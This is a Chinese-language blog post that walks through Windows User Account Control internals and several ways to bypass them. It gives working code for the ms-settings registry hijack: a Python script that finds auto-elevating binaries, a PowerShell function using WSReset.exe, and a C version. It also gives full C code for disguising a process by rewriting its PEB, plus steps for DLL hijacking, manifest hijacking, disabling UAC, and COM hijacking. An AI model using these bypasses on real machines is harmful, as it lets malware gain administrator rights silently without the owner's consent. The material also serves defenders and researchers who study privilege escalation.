• UAC 的实现与触发


    用户帐户控制(User Account Control) 是 Windows Vista 之后的版本引进的一种机制。通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
    其实就是使用权限提升操作的时候弹出的提示框,如果当前用户所在的用户组没有管理员权限,则需要输入管理员密码(类似 linux 中的 sudo 命令)
    image-20220327130140443
    其中,如果想获取管理员权限,也就是让程序在特权级下运行,实现的方式有以下几种:
    通过run as administer/ 在shell中执行run as
    未启用UAC
    进程拥有管理权限控制
    进程被用户允许通过管理员权限运行
    

    会触发 UAC 的具体操作(部分,更多的在这 https://en.wikipedia.org/wiki/User_Account_Control#Tasks_that_trigger_a_UAC_prompt):
    配置 Windows Update
    增加或删除用户账户(!)
    改变用户的账户类型(!)
    改变UAC设置(!)
    安装ActiveX
    安装或移除程序(!)
    设置家长控制
    将文件移动或复制到 Program Files 或 Windows 目录
    查看其他用户文件夹(!)
    

    触发 UAC 的过程:
    1.创建一个 consent.exe 进程,该进程通过程序白名单和用户权限,判断是否创建管理员进程。
    2.通过 creatprocess 请求进程,将要请求的进程 cmdline 和进程路径通过 LPC 接口传递给 appinfo 的 RAiLuanchAdminProcess 函数。
    3.RAiLuanchAdminProcess 首先会检验路径是否在白名单中,并将结果传递给 consent.exe 进程。
    4.consent.exe 根据被请求的进程签名以及发起者的权限是否符合要求,决定是否弹出 UAC 框。(这个 UAC 框进程是 SYSTEM 权限,其他普通用户进程无法与其进行通信交互)
    5.用户确认之后,就会调用 CreateProcessAsUser 函数以管理员权限启动请求的进程。
    
  • 利用 Shell API


    UAC 在 vs 中具体的设置:
    image-20220327131347251
    aslnvoker 默认权限
    highestAvailable 最高权限
    requireAdministrator 必须是管理员权限
    

    如果编译设置了 requireAdministrator,用户运行程序后,可以在不触发 UAC 的情况下获得管理员权限的会话。
    首先要知道哪些程序是在白名单中,要符合的要求有这些:
    1. 程序的manifest标识的配置属性 autoElevate 为 true(启动时就静默提升权限)。
    2.程序不弹出UAC弹窗
    3.从注册表里查询 Shell\Open\command 键值对
    

    用 sigcheck64 过滤一下标识属性 autoElevate 为 true 的属性(脚本来自 mathwizard 师傅)
    import os
    from subprocess import *
    
    path = "C:\\Windows\\System32"
    files = os.listdir(path)
    print(files)
    
    def GetFileList(path, fileList):
        newDir = path
        if os.path.isfile(path):
            if path[-4:] == ".exe":
                fileList.append(path)
        elif os.path.isdir(path):
            try:
                for s in os.listdir(path):
                    newDir = os.path.join(path, s)
                    GetFileList(newDir, fileList)
            except Exception as e:
                pass
        return fileList
    
    files = GetFileList(path, [])
    print(files)
    
    for eachFile in files:
        if eachFile[-4:] == ".exe":
            command = r"D:\\tools\\tool\\SysinternalsSuite\sigcheck64.exe -m {} | findstr auto".format(eachFile)
            print(command)
            p1 = Popen(command, shell=True, stdin=PIPE, stdout=PIPE)
            if '<autoElevate>true</autoElevate>' in p1.stdout.read().decode('gb2312'):
                copy_command = r'copy {} .\success'.format(eachFile)
                Popen(copy_command, shell=True, stdin=PIPE, stdout=PIPE)
                print('[+] {}'.format(eachFile))
                with open('success.txt', 'at') as f:
                    f.writelines('{}\n'.format(eachFile))
    

    最后得到符合条件的程序清单,然后手动测试哪个不会弹 UAC,这里找到 ComputerDefaults.exe 程序,用于设置默认应用界面。
    关于 Shell\Open\command 键值对,以它命名的键值对存储的是可执行文件的路径,如果 exe 程序运行的时候找到该键值对,就会运行该键值对指向的程序,因为白名单中的 exe 运行的时候是默认提升了权限,那么该键值对指向的程序就过了 UAC,如果把恶意的 exe 写入该键值对,那么当运行白名单中 exe 的时候,就能过 UAC 执行恶意程序。
    用 process monitor 设置一下过滤器规则,就可以看到 ComputerDefaults.exe 会去查询 HKCU\Software\Classes\ms-settings\Shell\Open\command 中的值
    image-20220327175022574
    创建一个 HKCU\Software\Classes\ms-settings\Shell\Open\command,再对 omputerDefaults.exe 进行监听,发现还会去查询 HKCU\Software\Classes\ms-settings\Shell\Open\command\DelegateExecute(NAME NOT FOUND),
    image-20220327175622190
    此时创建一个 DelegateExecute,并将 command 指向我们指定的程序,比如改成 cmd.exe ,此时再运行 C:\Windows\System32\ComputerDefaults.exe,就会弹出一个 system 权限的 cmd 了。
    powershell 的实现:
    <#
    .SYNOPSIS
    Fileless UAC Bypass by Abusing Shell API
    
    Author: Hashim Jawad of ACTIVELabs
    
    .PARAMETER Command
    Specifies the command you would like to run in high integrity context.
    
    .EXAMPLE
    Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"
    
    This will effectivly start cmd.exe in high integrity context.
    
    .NOTES
    This UAC bypass has been tested on the following:
     - Windows 10 Version 1803 OS Build 17134.590
     - Windows 10 Version 1809 OS Build 17763.316
    #>
    
    function Invoke-WSResetBypass {
          Param (
          [String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
          )
    
          $CommandPath = "HKCU:Software\Classes\ms-settings\Shell\Open\command"
          $filePath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
          New-Item $CommandPath -Force | Out-Null
          New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
          Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
          Write-Host "[+] Registry entry has been created successfully!"
    
          $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
          Write-Host "[+] Starting WSReset.exe"
    
          Write-Host "[+] Triggering payload.."
          Start-Sleep -Seconds 10
    
          if (Test-Path $filePath) {
          Remove-Item $filePath -Recurse -Force
          Write-Host "[+] Cleaning up registry entry"
          }
    }
    IEX Invoke-WSResetBypass;
    

    运行 POWERSHELL -EXECUTIONPOLICY BYPASS -FILE C:\Users\Alice\Desktop\BypassUAC.ps1,成功执行了 WSReset.exe
    image-20220327200047173
    c 语言实现
    #include <stdio.h>
    #include <Windows.h>
    
    int main(void)
    {
        LPCWSTR regname = L"Software\\Classes\\ms-settings\\Shell\\Open\\command";
        HKEY hkResult = NULL;
    
        const wchar_t* payload = L"C:\\Windows\\System32\\cmd.exe /c start cmd.exe";
        DWORD Len = wcslen(payload) * 2 + 2;
    
        int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hkResult);
    
        ret = RegSetValueEx(hkResult, L"command", 0, REG_SZ, (BYTE*)payload, Len);
        if (ret == 0) {
            printf("success to write run key\n");
            RegCloseKey(hkResult);
        }
        else {
            printf("failed to open regedit.%d\n", ret);
            return 0;
        }
        printf("Starting WSReset.exe");
        system("C://Windows//System32//WSReset.exe");
        return 0;
    }
    
  • 伪装白名单


    直接将恶意程序伪装成白名单中的程序,方法就是伪装进程的 PEB。
    PEB 结构(Process Envirorment Block Structure),进程环境信息块,通过修改目标进程的 PEB 结构中的路径信息和命令行信息为想要伪装的对象的信息,就可以将目标进程伪装成目标进程。
    

    要实现改过程,首先用 NtQueryInformationProcess 函数获取指定进程的 PEB 地址,结构如下:
    typedef struct _PROCESS_BASIC_INFORMATION {
        PVOID Reserved1;
        PPEB PebBaseAddress; //peb的基地址,实际上是一个 _PEB 结构体的指针
        PVOID Reserved2[2];
        ULONG_PTR UniqueProcessId;
        PVOID Reserved3;
    } PROCESS_BASIC_INFORMATION;
    

    _PEB:
    typedef struct _PEB {
      BYTE                          Reserved1[2];
      BYTE                          BeingDebugged; //被调试状态 
      BYTE                          Reserved2[1];
      PVOID                         Reserved3[2];
      PPEB_LDR_DATA                 Ldr;
      PRTL_USER_PROCESS_PARAMETERS  ProcessParameters; // 进程参数信息
      BYTE                          Reserved4[104];
      PVOID                         Reserved5[52];
      PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
      BYTE                          Reserved6[128];
      PVOID                         Reserved7[1];
      ULONG                         SessionId;
    } PEB, *PPEB;
    

    其中 PRTL_USER_PROCESS_PARAMETERS 的结构:
    typedef struct _RTL_USER_PROCESS_PARAMETERS {
        BYTE Reserved1[16];
        PVOID Reserved2[10];
        UNICODE_STRING ImagePathName;
        UNICODE_STRING CommandLine;
    } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
    

    重点关注 ImagePathName 和 CommandLine,也就是 UNICODE_STRING 结构体
    typedef struct _UNICODE_STRING {
        USHORT Length;
        USHORT MaximumLength;
        PWSTR  Buffer;
    } UNICODE_STRING;
    

    要用到的几个函数:
    BOOL ReadProcessMemory(
      _In_ HANDLE  hProcess, // 进程句柄
      _In_ LPCVOID lpBaseAddress, // 读取基址 指向指定进程空间
      _Out_ LPVOID  lpBuffer, // 接收缓存
      _In_ SIZE_T  nSize, // 读取大小
      _Out_opt_ SIZE_T  *lpNumberOfBytesRead // 接收数据的实际大小 可以设置为NULL
    );
    BOOL WriteProcessMemory(
      _In_ HANDLE  hProcess, // 进程句柄 INVALID_HANDLE_VALUE表示自身进程
      _In_ LPVOID  lpBaseAddress, // 写入内存首地址
      _Out_ LPCVOID lpBuffer, // 指向欲写入的数据
      _In_ SIZE_T  nSize, // 写入大小
      _Out_opt_ SIZE_T  *lpNumberOfBytesWritten // 接收实际写入大小 可以设置为NULL
    );
    

    现在我们已经学会 1+1,接着就可以开始造火箭了
    #include <stdio.h>
    #include <Windows.h>
    #include <winternl.h> //PEB Structures, NtQueryInformationProcess
    #include <TlHelp32.h>
    
    //prepare for call NtQueryInformationProcess func
    typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
        IN HANDLE ProcessHandle,
        IN PROCESSINFOCLASS ProcessInformationClass,
        OUT PVOID ProcessInformation,
        IN ULONG ProcessInformationLength,
        OUT PULONG ReturnLength OPTIONAL
        );
    
    // modify ImagePathName and CommandLine in PEB of specific process
    BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) {
    
        // get handle of process
        /*
        OpenProcess(访问权限, 进程句柄是否被继承, 要被打开的进程PID)
        */
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (hProcess == NULL) {
            printf("Open Process error!");
            return FALSE;
        }
    
        // prepare for getting PEB
        typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
        PROCESS_BASIC_INFORMATION pbi = { 0 };
        PEB peb = { 0 };
        RTL_USER_PROCESS_PARAMETERS Param = { 0 };
        USHORT usCmdLen = 0;
        USHORT usPathLen = 0;
        const WCHAR* NTDLL = L"ntdll.dll";
    
        //NtQueryInformationProcess这个函数没有关联的导入库,必须使用LoadLibrary和GetProcessAddress函数从Ntdll.dll中获取该函数地址
        NtQueryInformationProcess = (typedef_NtQueryInformationProcess)GetProcAddress(LoadLibrary(NTDLL), "NtQueryInformationProcess");
        if (NULL == NtQueryInformationProcess)
        {
            printf("GetProcAddress Error");
            return FALSE;
        }
    
        // get status of specific process
        NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
        if (!NT_SUCCESS(status))
        {
            printf("NtQueryInformationProcess failed");
            return FALSE;
        }
    
        // get PebBaseAddress in PROCESS_BASIC_INFORMATION of prococess
        ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
        // get ProcessParameters in PEB of process
        ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
    
        // modify cmdline data
        usCmdLen = 2 + 2 * wcslen(lpwszCmd); // cal lenth of unicode str
        WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
        WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
        // modify path data
        usPathLen = 2 + 2 * wcslen(lpwszPath); // cal lenth of unicode str
        WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
        WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
    
        return TRUE;
    }
    
    // get PID by ProcessName
    DWORD FindProcId(const WCHAR* ProcName) {
        DWORD ProcId = 0; // target procId
        PROCESSENTRY32 pe32 = { 0 };  // to get snapshot structure
        pe32.dwSize = sizeof(PROCESSENTRY32);
        HANDLE hProcessShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // get snapshot list
        if (hProcessShot == INVALID_HANDLE_VALUE) {
            puts("get proc list error");
            return 0;
        }
        BOOL cProc = Process32First(hProcessShot, &pe32); // prepare for loop of proc snapshot list
        // compare proc name and get correct process Id
        while (cProc) {
            if (wcscmp(pe32.szExeFile, ProcName) == 0) {
                ProcId = pe32.th32ProcessID;
                break;
            }
            cProc = Process32Next(hProcessShot, &pe32);
        }
        return ProcId;
    }
    
    int main()
    {
        const WCHAR* ProcessName = L"Calculator.exe";
        do {
            DWORD dwTargetId = FindProcId(ProcessName);
            if (0 == dwTargetId) {
                printf("can not find procIdn");
                break;
            }
            if (FALSE == DisguiseProcess(dwTargetId, (wchar_t*)L"C:\\Windows\\explorer.exe", (wchar_t*)L"C:\\Windows\\Explorer.EXE"))
            {
                printf("Dsisguise Process Error.");
                break;
            }
            printf("Disguise Process OK.");
        } while (FALSE);
    
        system("pause");
        return 0;
    }
    

    执行前先开一个 calc,程序运行后,会将 Calculator.exe 的 cmdline 和 imagepath 修改为指定进程的。
  • DLL 劫持


    DLL加载顺序劫持

    原理见 dll 劫持那一篇。在 C:\Windows\System32 中易受到劫持的有
    image-20220331164906741
    详细的在 https://github.com/wietze/windows-dll-hijacking/
    使用 manifest 文件进行 dll 劫持

    manifest 文件是微软为修复一次由 DLL 加载顺序劫持导致的 Bypass UAC 时自己暴露出来的一种 Bypass UAC 的可行方案。
    在 XP 之前的 windows,exe 会顺序加载 dll,但在 XP 之后,则会首先读取mamifest,获得 exe 需要调用的 dll 列表,操作系统再根据 manifest 提供的信息去寻找对应的 dll。
    Bypass UAC 过程:
    1.先从 C:\windows\system32 中拷贝 taskhost.exe 到 %temp%\ 临时目录下,再利用高权限进程把 taskhost.exe 拷贝到 C:\windows 下
    2.在C:\windows\system32\sysprep下写一个cryptbase.dll,并将payload注入到cryptbase.dll中
    3.在C:\windows下写入taskhost.exe.manifest文件.由于taskhost.exe无内置清单文件,所以会从manifest中指定的路径加载DLL即C:\Windows\system32\sysprep\cryptbase.DLL
    

    但很尴尬的问题是低权限怎样向系统目录写文件而不触发 UAC,在 UACME 项目中通过 IFileOperation COM 对象实现。IFileOperation COM 对象进行文件操作可以自动特省权限(AutoElevate),但需要检测当前使用该 COM 对象的进程是否位白名单进程。
    通过代码注入绕过 UAC

    具体原理见 DLL 注入学习记录
    关闭 UAC 机制

    利用一个 ISecurityEditor COM 对象, 也是一个 AutoElevate 的 COM 对象,在白名单进程中使用可以自动提升权限。
    这个对象可以用于修改注册表访问权限,可修改 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 进程为可写,然后将 EnableLUA 置为 0,即可关闭 UAC(重启生效)
    使用注册表制定程序加载DLL

    同样使用 ISecurityEditor COM 对象,在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 表项后添加 cliconfg.exe,在子项中添加
    GlobalFlag REG_DWORD 0x0000100   
    VerifierDlls REG_SZ Hibiki.dll
    

    其中 Hibiki.dll 是恶意 dll,放在 C:\Windows\system32 下,然后运行 cliconfg.exe 就能以管理员权限运行 Hiibiki.dll,绕过 UAC。
    以上的技术本质上都是 dll 劫持的利用。
  • 利用 COM 接口


    com 组件本质上是二进制文件 ( dll,exe, 在 windows 系统内 ),其调用方法与 c++ 的类相似,程序可以通过被称为 CLSID ( 全局标识符 )作为索引在注册表内找到具体的二进制文件。
    windows 提供了一种 com 组件提权的方法,为方便开发,当这种提权方法的调用者是拥有微软签名的合法程序时(白名单),会忽略 UAC 弹窗(这个过程通过校验 PEB 实现)。
    除了前面提到过的 com 组件,还有一个名为 ICMLuaUtil 的接口,这个接口提供一个名为 ShellExec 的方法,可以执行任意传入的命令。
    劫持 COM 组件

    和 dll 劫持类似,程序运行时也会加载指定的 CLSID 的 COM 组件,其加载顺序如下
    HKCU\Software\Classes\CLSID
    HKCR\CLSID
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
    

    CLSID 下有两个键名:InprocHandler32 和 InprocServer32:
    InprocHandler32:指定应用程序使用的自定义处理程序
    InprocServer32:注册32位进程所需要的模块、线程属性配置
    

    那么可以通过在 COM 组件注册表下创建 InprocServer32 键值并将其指向恶意 dll 来实现 COM 组件劫持。
    UACME 中的实现流程:
    1.将payload DLL先复制到temp下
    2.在CLSID/{0A29FF9E-7F9C-4437-8B11-F424491E3931}下创建InprocServer32并将值指向刚刚解压出来的dll文件,ThreadingModel的值为Apartment
    3.创建ShellFolder,把HideOnDesktopPerUser值改为空,把Attributes值改为0xF090013D,这是”combination of SFGAO flags”
    4.用mmc.exe运行eventvwr.msc,即可完成劫持
    5.清理注册表
    

     
  • 参考文献


标签: none

添加新评论